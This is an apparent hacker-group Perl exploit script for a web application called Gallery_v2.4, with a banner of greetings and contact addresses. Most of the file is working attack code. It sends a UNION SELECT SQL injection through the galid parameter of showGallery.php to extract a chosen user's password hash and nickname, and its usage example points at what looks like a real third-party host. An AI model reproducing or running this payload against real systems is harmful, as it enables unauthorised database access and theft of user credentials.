#!/bin/env perl
#------------------------------------------------------------#
#-	Warning :- (ABDUCTER) Behind U BY (ABDUCTER_MINDS@S4A.CC) OR (ABDUCTER_MINDS@YAHOO.COM)
#-	[!]	==|| Gallery_v2.4 SQL Injection ||==
#-		Gr33tz :-                                                              
#-			N0N0 (MY LOVE)															 
#-			WWW.S4A.CC  
#-			Devil-00               
#-			FOR ALL ARABIAN COUNTRIES 															  
#------------------------------------------------------------#
use LWP::Simple;

print "\n\n==========================================\n";
print "\n= Exploit for Gallery_v2.4	               ";
print "\n=   BY    |(ABDUCTER_MINDS[at]YAHOO.COM)|     ";	          		
print "\n=             FOR ALL ARAB WWW.S4A.CC         ";			
print "\n============================================\n\n";

if(!$ARGV[0] or !$ARGV[1]) {
  print "\n==|| Warning ABDUCTER Behind U ||==";	
  print "\nUsage:\nperl $0 [host+script]\n\nExample:\nperl $0 http://tonioc.free.fr/gallery/ 1\n";
  exit(0);
}
$url = "/showGallery.php?galid=-1%20UNION%20SELECT%20id,null,null,passw,null,nick,null,null,null,null,nick,null%20FROM%20users%20WHERE%20id=$ARGV[1]/*";
$page = get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page =~ m/<SPAN class="strong"><b>(.*?)<\/b>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);